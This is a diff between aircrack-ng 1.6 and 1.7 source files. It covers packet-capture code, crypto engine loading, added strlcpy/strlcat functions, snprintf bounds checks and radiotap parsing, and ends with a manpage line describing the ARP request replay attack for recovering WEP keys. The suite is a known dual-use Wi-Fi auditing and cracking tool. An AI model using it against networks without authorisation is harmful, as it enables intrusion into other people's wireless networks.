-						printf(
-							"Found ESSID \"%s\" vs. specified ESSID \"%s\"\n",
-							essid2,
-							essid);
-						printf("Using the given one, double check it to be "
-							   "sure its correct!\n");
-						break;
-					}
-				}
+		/* if essid is given, copy bssid AND essid, so we can handle
+		 * case insensitive arguments */
+		if (bssid != NULL && memcmp(bssid, NULL_MAC, ETHER_ADDR_LEN) == 0
+			&& strncasecmp(essid, (char *) data, taglen) == 0
+			&& strlen(essid) == (unsigned) taglen)
+		{
+			memset(essid, 0, 33);
+			memcpy(essid, data, taglen);
+			memcpy(bssid, pkt_sniff + 10, ETHER_ADDR_LEN);
+			printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to "
+				   "given ESSID \"%s\".\n",
+				   bssid0,
+				   bssid1,
+				   bssid2,
+				   bssid3,
+				   bssid4,
+				   bssid5,
+				   essid);
+			break;
+		}
+
+		/* if essid and bssid are given, check both */
+		if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, ETHER_ADDR_LEN) == 0
+			&& *essid != '\0')
+		{
+			memset(essid2, 0, 33);
+			memcpy(essid2, data, taglen);
+			if (strncasecmp(essid, essid2, taglen) == 0
+				&& strlen(essid) == (unsigned) taglen)
+				break;
+			else
+			{
+				printf("For the given BSSID "
+					   "\"%02X:%02X:%02X:%02X:%02X:%02X\", there is an "
+					   "ESSID mismatch!\n",
+					   bssid0,
+					   bssid1,
+					   bssid2,
+					   bssid3,
+					   bssid4,
+					   bssid5);
+				printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n",
+					   essid2,
+					   essid);
+				printf("Using the given one, double check it to be "
+					   "sure its correct!\n");
+				break;
 			}
 		}
 	}
@@ -317,7 +386,7 @@
 			   bssid5,
 			   wi_get_channel(wi));
 	}
-	else if (strlen((const char *) r_essid) > 0)
+	else if (*r_essid != '\0')
 	{
 		PCT;
 		printf("Waiting for beacon frame (ESSID: %s) on channel %d\n",
@@ -353,7 +422,7 @@
 		}
 		else
 		{
-			if (strlen((const char *) r_essid) > 0)
+			if (*r_essid != '\0')
 			{
 				printf("Please specify a BSSID (-a).\n");
 			}
@@ -484,7 +553,7 @@
 	REQUIRE(caplen != NULL);
 
 	time_t tr;
-	struct timeval tv;
+	struct timeval tv = {0};
 	struct tm * lt;
 
 	fd_set rfds;
@@ -812,6 +881,7 @@
 		pfh_out.linktype = LINKTYPE_IEEE802_11;
 
 		lt = localtime((const time_t *) &tv.tv_sec);
+		REQUIRE(lt != NULL);
 
 		memset(strbuf, 0, sizeof(strbuf));
 		snprintf(strbuf,
@@ -888,7 +958,7 @@
 int dump_initialize_multi_format(char * prefix, int ivs_only)
 {
 	REQUIRE(prefix != NULL);
-	REQUIRE(strlen(prefix) > 0);
+	REQUIRE(*prefix != '\0');
 
 	const size_t ADDED_LENGTH = 17;
 	size_t i;

aircrack-ng-1.6.tar.gz/lib/libac/support/crypto_engine_loader.c -> aircrack-ng-1.7.tar.gz/lib/libac/support/crypto_engine_loader.c Changed

@@ -202,7 +202,7 @@
 	= NULL;
 #endif
 
-#if defined(CYGWIN)
+#if defined(WIN32_PORTABLE)
 /*
 	This is merely a hack until code refactoring can occur.
 
@@ -249,11 +249,10 @@
 	// are we inside of the build path?
 	char * working_directory = get_current_working_directory();
 #endif
+	REQUIRE(working_directory != NULL);
 
 	if (strncmp(working_directory, ABS_TOP_BUILDDIR, strlen(ABS_TOP_BUILDDIR))
-			== 0
-		|| strncmp(working_directory, ABS_TOP_SRCDIR, strlen(ABS_TOP_SRCDIR))
-			   == 0)
+		== 0)
 	{
 		// use development paths
 		snprintf(library_path,
@@ -352,13 +351,11 @@
 
 	char * working_directory
 		= get_current_working_directory(); // or the binary's path?
+	REQUIRE(working_directory != NULL);
 
 	if (strncmp(
 			working_directory, ABS_TOP_BUILDDIR, sizeof(ABS_TOP_BUILDDIR) - 1)
-			== 0
-		|| strncmp(
-			   working_directory, ABS_TOP_SRCDIR, sizeof(ABS_TOP_SRCDIR) - 1)
-			   == 0)
+		== 0)
 	{
 		// use development paths
 		snprintf(library_path,
@@ -374,32 +371,36 @@
 	}
 	free(working_directory);
 
-	snprintf(module_filename,
-			 sizeof(module_filename) - 1,
 #if defined(WIN32_PORTABLE)
-			 "%s%s%s",
+#define LIB_FMT "%s%s%s"
 #else
-			 "%s/%s%s%s",
-			 library_path,
+#define LIB_FMT "%s/%s%s%s", library_path
 #endif
+
 #if defined(WIN32) || defined(_WIN32) || defined(CYGWIN)
 #if defined(MSYS2)
-			 "msys-",
+#define LIB_PREFIX "msys-"
 #else
-			 "cyg",
+#define LIB_PREFIX "cyg"
 #endif
 #else
-			 "lib",
+#define LIB_PREFIX "lib"
 #endif
-			 buffer,
+
 #if defined(WIN32) || defined(_WIN32) || defined(CYGWIN)
-			 LT_CYGWIN_VER
+#define LIB_SUFFIX LT_CYGWIN_VER
 #elif defined(__APPLE__)
-			 ".dylib"
+#define LIB_SUFFIX ".dylib"
 #else
-			 ".so"
+#define LIB_SUFFIX ".so"
 #endif
-			 )
+
+	snprintf(module_filename,
+			 sizeof(module_filename) - 1,
+			 LIB_FMT,
+			 LIB_PREFIX,
+			 buffer,
+			 LIB_SUFFIX)
 			< 0
 		? abort()
 		: (void) 0;
@@ -459,6 +460,7 @@
 	if (flags == -1) flags = ac_crypto_engine_loader_get_available();
 
 	char * module_filename = ac_crypto_engine_loader_best_library_for(flags);
+	REQUIRE(module_filename != NULL);
 
 	module = dlopen(module_filename, RTLD_LAZY);
 	if (!module)
@@ -523,6 +525,8 @@
 	}
 
 	free(module_filename);
+#else
+	(void) flags;
 #endif
 
 	return 0;

aircrack-ng-1.7.tar.gz/lib/libac/support/strlcat.c Added

@@ -0,0 +1,54 @@
+/*	$OpenBSD: strlcat.c,v 1.15 2015/03/02 21:41:08 millert Exp $	*/
+
+/*
+ * Copyright (c) 1998, 2015 Todd C. Miller <Todd.Miller@courtesan.com>
+ *
+ * Permission to use, copy, modify, and distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ */
+
+#include <sys/types.h>
+#include <string.h>
+
+/*
+ * Appends src to string dst of size dsize (unlike strncat, dsize is the
+ * full size of dst, not space left).  At most dsize-1 characters
+ * will be copied.  Always NUL terminates (unless dsize <= strlen(dst)).
+ * Returns strlen(src) + MIN(dsize, strlen(initial dst)).
+ * If retval >= dsize, truncation occurred.
+ */
+size_t strlcat(char * dst, const char * src, size_t dsize)
+{
+	const char * odst = dst;
+	const char * osrc = src;
+	size_t n = dsize;
+	size_t dlen;
+
+	/* Find the end of dst and adjust bytes left but don't go past end. */
+	while (n-- != 0 && *dst != '\0') dst++;
+	dlen = dst - odst;
+	n = dsize - dlen;
+
+	if (n-- == 0) return (dlen + strlen(src));
+	while (*src != '\0')
+	{
+		if (n != 0)
+		{
+			*dst++ = *src;
+			n--;
+		}
+		src++;
+	}
+	*dst = '\0';
+
+	return (dlen + (src - osrc)); /* count does not include NUL */
+}

aircrack-ng-1.7.tar.gz/lib/libac/support/strlcpy.c Added

@@ -0,0 +1,50 @@
+/*	$OpenBSD: strlcpy.c,v 1.12 2015/01/15 03:54:12 millert Exp $	*/
+
+/*
+ * Copyright (c) 1998, 2015 Todd C. Miller <Todd.Miller@courtesan.com>
+ *
+ * Permission to use, copy, modify, and distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ */
+
+#include <sys/types.h>
+#include <string.h>
+
+/*
+ * Copy string src to buffer dst of size dsize.  At most dsize-1
+ * chars will be copied.  Always NUL terminates (unless dsize == 0).
+ * Returns strlen(src); if retval >= dsize, truncation occurred.
+ */
+size_t strlcpy(char * dst, const char * src, size_t dsize)
+{
+	const char * osrc = src;
+	size_t nleft = dsize;
+
+	/* Copy as many bytes as will fit. */
+	if (nleft != 0)
+	{
+		while (--nleft != 0)
+		{
+			if ((*dst++ = *src++) == '\0') break;
+		}
+	}
+
+	/* Not enough room in dst, add NUL and traverse rest of src. */
+	if (nleft == 0)
+	{
+		if (dsize != 0) *dst = '\0'; /* NUL-terminate dst */
+		while (*src++)
+			;
+	}
+
+	return (src - osrc - 1); /* count does not include NUL */
+}

aircrack-ng-1.6.tar.gz/lib/osdep/airpcap.c -> aircrack-ng-1.7.tar.gz/lib/osdep/airpcap.c Changed

@@ -42,37 +42,45 @@
 #include <stdio.h>
 #include <ctype.h>
 #include <windows.h>
+
+#if defined(__GNUC__) || defined(__llvm__) || defined(__clang__)
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wpedantic"
+#endif
 #include <airpcap.h>
+#if defined(__GNUC__) || defined(__llvm__) || defined(__clang__)
+#pragma GCC diagnostic pop
+#endif
 
 #include "osdep.h"
 
 //------------------ PPI ---------------------
-#define PPH_PH_VERSION ((u_int8_t) 0x00)
-#define PPI_FIELD_TYPE_802_11_COMMON ((u_int16_t) 0x02)
+#define PPH_PH_VERSION ((uint8_t) 0x00)
+#define PPI_FIELD_TYPE_802_11_COMMON ((uint16_t) 0x02)
 
 typedef struct _PPI_PACKET_HEADER
 {
-	u_int8_t PphVersion;
-	u_int8_t PphFlags;
-	u_int16_t PphLength;
-	u_int32_t PphDlt;
+	uint8_t PphVersion;
+	uint8_t PphFlags;
+	uint16_t PphLength;
+	uint32_t PphDlt;
 } PPI_PACKET_HEADER, *PPPI_PACKET_HEADER;
 
 typedef struct _PPI_FIELD_HEADER
 {
-	u_int16_t PfhType;
-	u_int16_t PfhLength;
+	uint16_t PfhType;
+	uint16_t PfhLength;
 } PPI_FIELD_HEADER, *PPPI_FIELD_HEADER;
 
 typedef struct _PPI_FIELD_802_11_COMMON
 {
-	u_int64_t TsfTimer;
-	u_int16_t Flags;
-	u_int16_t Rate;
-	u_int16_t ChannelFrequency;
-	u_int16_t ChannelFlags;
-	u_int8_t FhssHopset;
-	u_int8_t FhssPattern;
+	uint64_t TsfTimer;
+	uint16_t Flags;
+	uint16_t Rate;
+	uint16_t ChannelFrequency;
+	uint16_t ChannelFlags;
+	uint8_t FhssHopset;
+	uint8_t FhssPattern;
 	int8_t DbmAntSignal;
 	int8_t DbmAntNoise;
 } PPI_FIELD_802_11_COMMON, *PPPI_FIELD_802_11_COMMON;

aircrack-ng-1.6.tar.gz/lib/osdep/cygwin.c -> aircrack-ng-1.7.tar.gz/lib/osdep/cygwin.c Changed

aircrack-ng-1.6.tar.gz/lib/osdep/cygwin_tap.c -> aircrack-ng-1.7.tar.gz/lib/osdep/cygwin_tap.c Changed

@@ -56,7 +56,7 @@
 
 struct tip_cygwin
 {
-	char tc_nameMAX_IFACE_NAME;
+	char tc_name256;
 	HANDLE tc_h;
 	pthread_t tc_reader;
 	volatile int tc_running;
@@ -132,8 +132,9 @@
 	if (!any && strcmp(priv->tc_guid, guid) != 0) return 0;
 
 	/* open the device */
-	snprintf(
+	const ssize_t device_len = snprintf(
 		device, sizeof(device), "%s%s%s", USERMODEDEVICEDIR, guid, TAPSUFFIX);
+	if (device_len == -1 || (size_t) device_len >= sizeof(device)) return -1;
 	h = CreateFile(device,
 				   GENERIC_READ | GENERIC_WRITE,
 				   0,
@@ -153,14 +154,24 @@
 	/* XXX check tap version */
 
 	/* bring iface up */
-	if (ti_media_status(priv, 1) == -1) return -1;
+	if (ti_media_status(priv, 1) == -1) goto out_err;
 
-	/* XXX grab printable name */
-	snprintf(priv->tc_name, sizeof(priv->tc_name) - 1, "%s", guid);
+	/* grab printable name */
+	ssize_t err = snprintf(priv->tc_name, sizeof(priv->tc_name) - 1, "%s", guid);
+	if (err == -1 || (size_t) err >= sizeof(priv->tc_name)) goto out_err;
 
-	if (any) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", guid);
+	if (any)
+	{
+		err = snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", guid);
+		if (err == -1 || (size_t) err >= sizeof(priv->tc_guid)) goto out_err;
+	}
 
 	return 1;
+
+out_err:
+	CloseHandle(priv->tc_h);
+	priv->tc_h = INVALID_HANDLE_VALUE;
+	return -1;
 }
 
 /**
@@ -189,7 +200,9 @@
 	char key256;
 	int rc = 0;
 
-	snprintf(key, sizeof(key) - 1, "%s\\%s", ADAPTER_KEY, name);
+	const ssize_t key_len
+		= snprintf(key, sizeof(key) - 1, "%s\\%s", ADAPTER_KEY, name);
+	if (key_len == -1 || (size_t) key_len >= sizeof(key)) return -1;
 	if (RegOpenKeyEx(
 			HKEY_LOCAL_MACHINE, key, 0, KEY_READ | KEY_WRITE, &priv->tc_key)
 		!= ERROR_SUCCESS)
@@ -387,7 +400,8 @@
 	char * key = "MTU";
 
 	/* check if reg remains unchanged to avoid reset */
-	snprintf(m, sizeof(m) - 1, "%d", mtu);
+	const ssize_t m_len = snprintf(m, sizeof(m) - 1, "%d", mtu);
+	if (m_len == -1 || (size_t) m_len >= sizeof(m)) return -1;
 	if (ti_read_reg(priv, key, mold, sizeof(mold)) != -1)
 	{
 		if (strcmp(m, mold) == 0) return 0;
@@ -629,7 +643,12 @@
 	ti->ti_set_ip = ti_set_ip_cygwin;
 
 	/* setup iface */
-	if (iface) snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", iface);
+	if (iface)
+	{
+		const ssize_t err
+			= snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", iface);
+		if (err == -1 || (size_t) err >= sizeof(priv->tc_guid)) goto err;
+	}
 	if (ti_do_open_cygwin(priv) == -1) goto err;
 
 	/* setup reader */

aircrack-ng-1.6.tar.gz/lib/osdep/darwin_tap.c -> aircrack-ng-1.7.tar.gz/lib/osdep/darwin_tap.c Changed

aircrack-ng-1.6.tar.gz/lib/osdep/file.c -> aircrack-ng-1.7.tar.gz/lib/osdep/file.c Changed

@@ -115,19 +115,8 @@
 								*((uint64_t *) iterator.this_arg));
 						break;
 
-					case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-						if (ri && !got_signal)
-						{
-							if (*iterator.this_arg < 127)
-								ri->ri_power = *iterator.this_arg;
-							else
-								ri->ri_power = *iterator.this_arg - 255;
-
-							got_signal = 1;
-						}
-						break;
-
 					case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+					case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
 						if (ri && !got_signal)
 						{
 							if (*iterator.this_arg < 127)
@@ -139,19 +128,8 @@
 						}
 						break;
 
-					case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-						if (ri && !got_noise)
-						{
-							if (*iterator.this_arg < 127)
-								ri->ri_noise = *iterator.this_arg;
-							else
-								ri->ri_noise = *iterator.this_arg - 255;
-
-							got_noise = 1;
-						}
-						break;
-
 					case IEEE80211_RADIOTAP_DB_ANTNOISE:
+					case IEEE80211_RADIOTAP_DBM_ANTNOISE:
 						if (ri && !got_noise)
 						{
 							if (*iterator.this_arg < 127)
@@ -252,6 +230,7 @@
 		ts->tv_nsec = pkh.tv_usec * 1000UL;
 	}
 
+	if (off < 0 || off >= len) return -1; //-V560
 	memcpy(h80211, &bufoff, rc);
 
 	return rc;

aircrack-ng-1.6.tar.gz/lib/osdep/freebsd.c -> aircrack-ng-1.7.tar.gz/lib/osdep/freebsd.c Changed

aircrack-ng-1.6.tar.gz/lib/osdep/freebsd_tap.c -> aircrack-ng-1.7.tar.gz/lib/osdep/freebsd_tap.c Changed

aircrack-ng-1.6.tar.gz/lib/osdep/linux.c -> aircrack-ng-1.7.tar.gz/lib/osdep/linux.c Changed

@@ -617,10 +617,11 @@
 
 	if ((unsigned) count > sizeof(tmpbuf)) return (-1);
 
-	if ((caplen = read(dev->fd_in, tmpbuf, count)) < 0)
+	caplen = read(dev->fd_in, tmpbuf, count);
+	if (caplen < 0 && errno == EAGAIN)
+		return (-1);
+	else if (caplen < 0)
 	{
-		if (errno == EAGAIN) return (0);
-
 		perror("read failed");
 		return (-1);
 	}
@@ -634,11 +635,6 @@
 			break;
 	}
 
-	memset(buf, 0, count);
-
-	/* XXX */
-	if (ri) memset(ri, 0, sizeof(*ri));
-
 	if (dlt)
 	{
 		// TODO(jbenden): Future code could receive the actual linktype received.
@@ -660,7 +656,7 @@
 			{
 				ri->ri_power = (int32_t) load32_le(tmpbuf + 0x33);
 				ri->ri_noise = (int32_t) load32_le(tmpbuf + 0x33 + 12);
-				ri->ri_rate = load32_le(buf + 0x33 + 24) * 500000;
+				ri->ri_rate = load32_le(tmpbuf + 0x33 + 24) * 500000;
 
 				got_signal = 1;
 				got_noise = 1;
@@ -720,17 +716,6 @@
 					break;
 
 				case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-					if (!got_signal)
-					{
-						if (*iterator.this_arg < 127)
-							ri->ri_power = *iterator.this_arg;
-						else
-							ri->ri_power = *iterator.this_arg - 255;
-
-						got_signal = 1;
-					}
-					break;
-
 				case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
 					if (!got_signal)
 					{
@@ -744,17 +729,6 @@
 					break;
 
 				case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-					if (!got_noise)
-					{
-						if (*iterator.this_arg < 127)
-							ri->ri_noise = *iterator.this_arg;
-						else
-							ri->ri_noise = *iterator.this_arg - 255;
-
-						got_noise = 1;
-					}
-					break;
-
 				case IEEE80211_RADIOTAP_DB_ANTNOISE:
 					if (!got_noise)
 					{
@@ -915,7 +889,7 @@
 
 				buf = tmpbuf;
 			}
-		/* fall through */
+			fallthrough;
 		case DT_HOSTAP:
 			if ((((unsigned char *) buf)1 & 3) == 2)
 			{
@@ -948,19 +922,6 @@
 	/* radiotap header length is stored little endian on all systems */
 	if (usedrtap) ret -= letoh16(*p_rtlen);
 
-	if (ret < 0)
-	{
-		if (errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS
-			|| errno == ENOMEM)
-		{
-			usleep(10000);
-			return (0);
-		}
-
-		perror("write failed");
-		return (-1);
-	}
-
 	return (ret);
 }
 
@@ -1826,7 +1787,6 @@
 	int kver;
 	struct utsname checklinuxversion;
 	struct priv_linux * dev = wi_priv(wi);
-	char * iwpriv = NULL;
 	char strbuf512;
 	FILE * f;
 	char athXraw = "athXraw";
@@ -1839,6 +1799,7 @@
 	char * r_file = NULL;
 	struct ifreq ifr;
 	int iface_malloced = 0;
+	size_t iface_len = 0;
 
 	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
 	{
@@ -1865,15 +1826,12 @@
 		return (1);
 	}
 
-	/* Check iwpriv existence */
-	iwpriv = wiToolsPath("iwpriv");
-
 #ifndef CONFIG_LIBNL
-	dev->iwpriv = iwpriv;
+	dev->iwpriv = wiToolsPath("iwpriv");
 	dev->iwconfig = wiToolsPath("iwconfig");
 	dev->ifconfig = wiToolsPath("ifconfig");
 
-	if (!iwpriv)
+	if (!(dev->iwpriv))
 	{
 		fprintf(stderr,
 				"Required wireless tools when compiled without libnl "
@@ -1884,7 +1842,7 @@
 
 	/* Exit if ndiswrapper : check iwpriv ndis_reset */
 
-	if (is_ndiswrapper(iface, iwpriv))
+	if (is_ndiswrapper(iface, dev->iwpriv))
 	{
 		fprintf(stderr, "Ndiswrapper doesn't support monitor mode.\n");
 		goto close_in;
@@ -2000,7 +1958,7 @@
 
 	/* check if newer athXraw interface available */
 
-	if ((strlen(iface) >= 4 && strlen(iface) <= 6)
+	if ((strlen(iface) >= 4 && strlen(iface) <= 6) //-V804
 		&& memcmp(iface, "ath", 3) == 0)
 	{
 		dev->drivertype = DT_MADWIFI;
@@ -2060,10 +2018,10 @@
 		}
 	}
 
-	/* test if orinoco */
-
 	if (memcmp(iface, "eth", 3) == 0)
 	{
+		/* test if orinoco */
+
 		if ((pid = fork()) == 0)
 		{
 			close(0);
@@ -2086,12 +2044,9 @@
 				 iface);
 
 		if (system(strbuf) == 0) dev->drivertype = DT_AT76USB;
-	}
 
-	/* test if zd1211rw */
+		/* test if zd1211rw */
 
-	if (memcmp(iface, "eth", 3) == 0)
-	{
 		if ((pid = fork()) == 0)
 		{
 			close(0);
@@ -2139,16 +2094,18 @@
 		acpi = NULL;
 
 		// use name in buf as new iface and set original iface as main iface
-		dev->main_if = (char *) malloc(strlen(iface) + 1);
+		iface_len = strlen(iface) + 1;
+		dev->main_if = (char *) malloc(iface_len);
 		if (dev->main_if == NULL) goto close_out;
-		memset(dev->main_if, 0, strlen(iface) + 1);
-		strncpy(dev->main_if, iface, strlen(iface));
+		memset(dev->main_if, 0, iface_len);
+		memcpy(dev->main_if, iface, iface_len);
 
-		iface = (char *) malloc(strlen(buf) + 1);
+		iface_len = strlen(buf) + 1;
+		iface = (char *) malloc(iface_len);
 		if (iface == NULL) goto close_out;
 		iface_malloced = 1;
-		memset(iface, 0, strlen(buf) + 1);
-		strncpy(iface, buf, strlen(buf));
+		memset(iface, 0, iface_len);
+		memcpy(iface, buf, iface_len);
 	}
 
 	/* test if rtap interface and try to find real interface */
@@ -2259,7 +2216,6 @@
 	dev->arptype_in = dev->arptype_out;
 
 	if (iface_malloced) free(iface);
-	if (iwpriv) free(iwpriv);
 	if (r_file)
 	{
 		free(r_file);
@@ -2275,7 +2231,6 @@
 	close(dev->fd_in);
 	if (acpi) fclose(acpi);
 	if (iface_malloced) free(iface);
-	if (iwpriv) free(iwpriv);
 	return 1;
 }
 
@@ -2534,7 +2489,6 @@
 		int batno = 0;
 		static int info_timer = 0;
 		int batt_full_capacity3;
-		linux_apm = 0;
 		linux_acpi = 1;
 		ac_adapters = opendir("/proc/acpi/ac_adapter");
 		if (ac_adapters == NULL) return 0;
@@ -2626,7 +2580,8 @@
 			}
 			total_cap += batt_full_capacitybatno;
 			fclose(acpi);
-			batteryTime += (int) ((((float) remain) / rate) * 3600);
+			if (rate != 0)
+				batteryTime += (int) ((((float) remain) / rate) * 3600);
 			batno++;
 		}
 		info_timer++;

aircrack-ng-1.6.tar.gz/lib/osdep/linux_tap.c -> aircrack-ng-1.7.tar.gz/lib/osdep/linux_tap.c Changed

aircrack-ng-1.6.tar.gz/lib/osdep/netbsd_tap.c -> aircrack-ng-1.7.tar.gz/lib/osdep/netbsd_tap.c Changed

aircrack-ng-1.6.tar.gz/lib/osdep/network.c -> aircrack-ng-1.7.tar.gz/lib/osdep/network.c Changed

@@ -70,6 +70,8 @@
 		return -1;
 	}
 
+	if (arg == NULL) return -1;
+
 	pktlen = sizeof(struct net_hdr) + len;
 
 	pktbuf = (char *) calloc(sizeof(char), pktlen);
@@ -83,7 +85,6 @@
 	pnh->nh_type = command;
 	pnh->nh_len = htonl(len);
 
-	assert(arg != NULL);
 	memcpy(pktbuf + sizeof(struct net_hdr), arg, len);
 
 	for (;;)
@@ -220,7 +221,7 @@
 {
 	unsigned char buf2048;
 	int l = sizeof(buf);
-	int c;
+	int c = 0;
 
 	while (1)
 	{
@@ -242,7 +243,7 @@
 
 static int net_cmd(struct priv_net * pn, int command, void * arg, int alen)
 {
-	uint32_t rc;
+	uint32_t rc = 0;
 	int len;
 	int cmd;
 
@@ -257,7 +258,7 @@
 	{
 		return -1;
 	}
-	assert(cmd == NET_RC);
+	assert(cmd == NET_RC); //-V547
 	assert(len == sizeof(rc));
 
 	return ntohl(rc);
@@ -270,6 +271,10 @@
 
 	if (q == head) return 0;
 
+#ifdef NDEBUG
+	(void) len;
+#endif
+
 	assert(q->q_len <= len);
 	memcpy(buf, q->q_buf, q->q_len);
 
@@ -287,7 +292,7 @@
 					struct rx_info * ri)
 {
 	struct priv_net * pn = wi_priv(wi);
-	uint32_t buf512; // 512 * 4 = 2048
+	uint32_t buf512 = {0}; // 512 * 4 = 2048
 	unsigned char * bufc = (unsigned char *) buf;
 	int cmd;
 	int sz = sizeof(*ri);
@@ -315,7 +320,8 @@
 	if (ri)
 	{
 		// re-assemble 64-bit integer
-		ri->ri_mactime = __be64_to_cpu((uint64_t) buf0 << 32u | buf1);
+		uint64_t hi = buf0;
+		ri->ri_mactime = __be64_to_cpu(((hi) << 32U) | buf1);
 		ri->ri_power = __be32_to_cpu(buf2);
 		ri->ri_noise = __be32_to_cpu(buf3);
 		ri->ri_channel = __be32_to_cpu(buf4);
@@ -352,7 +358,7 @@
 
 	cmd = net_get_nopacket(pn, buf, &sz);
 	if (cmd == -1) return -1;
-	if (cmd == NET_RC) return ntohl(buf0);
+	if (cmd == NET_RC) return ntohl(buf0); //-V547
 	assert(cmd == NET_MAC);
 	assert(sz == 6);

aircrack-ng-1.6.tar.gz/lib/osdep/openbsd.c -> aircrack-ng-1.7.tar.gz/lib/osdep/openbsd.c Changed

@@ -42,7 +42,6 @@
 #include <net80211/ieee80211_crypto.h>
 #include <frame.h>
 #include <sys/timeout.h>
-#include <machine/intr.h>
 #undef _KERNEL
 #include <net80211/ieee80211_node.h>
 #include <net80211/ieee80211_ioctl.h>
@@ -364,19 +363,19 @@
 
 	/* set iface up and promisc */
 	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	memcpy(ifr.ifr_name, iface, IFNAMSIZ);
 	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock;
 
 	flags = ifr.ifr_flags;
 	flags |= IFF_UP | IFF_PROMISC;
 	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	memcpy(ifr.ifr_name, iface, IFNAMSIZ);
 	ifr.ifr_flags = flags & 0xffff;
 	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock;
 
 	/* monitor mode */
 	memset(&ifmr, 0, sizeof(ifmr));
-	strncpy(ifmr.ifm_name, iface, IFNAMSIZ);
+	memcpy(ifmr.ifm_name, iface, IFNAMSIZ);
 	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock;
 
 	assert(ifmr.ifm_count != 0);
@@ -392,15 +391,15 @@
 	free(mwords);
 
 	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	memcpy(ifr.ifr_name, iface, IFNAMSIZ);
 	ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
 	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock;
 
 	/* setup ifreq for chan that may be used in future */
-	strncpy(po->po_ireq.i_name, iface, IFNAMSIZ);
+	memcpy(po->po_ireq.i_name, iface, IFNAMSIZ);
 
 	/* same for ifreq mac addr */
-	strncpy(po->po_ifr.ifr_name, iface, IFNAMSIZ);
+	memcpy(po->po_ifr.ifr_name, iface, IFNAMSIZ);
 
 	/* open bpf */
 	for (i = 0; i < 256; i++)
@@ -421,7 +420,7 @@
 
 	if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf;
 
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	memcpy(ifr.ifr_name, iface, IFNAMSIZ);
 
 	if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf;

aircrack-ng-1.6.tar.gz/lib/osdep/openbsd_tap.c -> aircrack-ng-1.7.tar.gz/lib/osdep/openbsd_tap.c Changed

aircrack-ng-1.6.tar.gz/lib/ptw/aircrack-ptw-lib.c -> aircrack-ng-1.7.tar.gz/lib/ptw/aircrack-ptw-lib.c Changed

aircrack-ng-1.6.tar.gz/lib/radiotap/platform.h -> aircrack-ng-1.7.tar.gz/lib/radiotap/platform.h Changed

aircrack-ng-1.6.tar.gz/lib/radiotap/radiotap.c -> aircrack-ng-1.7.tar.gz/lib/radiotap/radiotap.c Changed

aircrack-ng-1.6.tar.gz/lib/radiotap/radiotap.h -> aircrack-ng-1.7.tar.gz/lib/radiotap/radiotap.h Changed

aircrack-ng-1.6.tar.gz/manpages/airbase-ng.8.in -> aircrack-ng-1.7.tar.gz/manpages/airbase-ng.8.in Changed

aircrack-ng-1.6.tar.gz/manpages/aircrack-ng.1.in -> aircrack-ng-1.7.tar.gz/manpages/aircrack-ng.1.in Changed

aircrack-ng-1.6.tar.gz/manpages/aireplay-ng.8.in -> aircrack-ng-1.7.tar.gz/manpages/aireplay-ng.8.in Changed

@@ -152,7 +152,7 @@
 The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs which allow you to determine the WEP key.
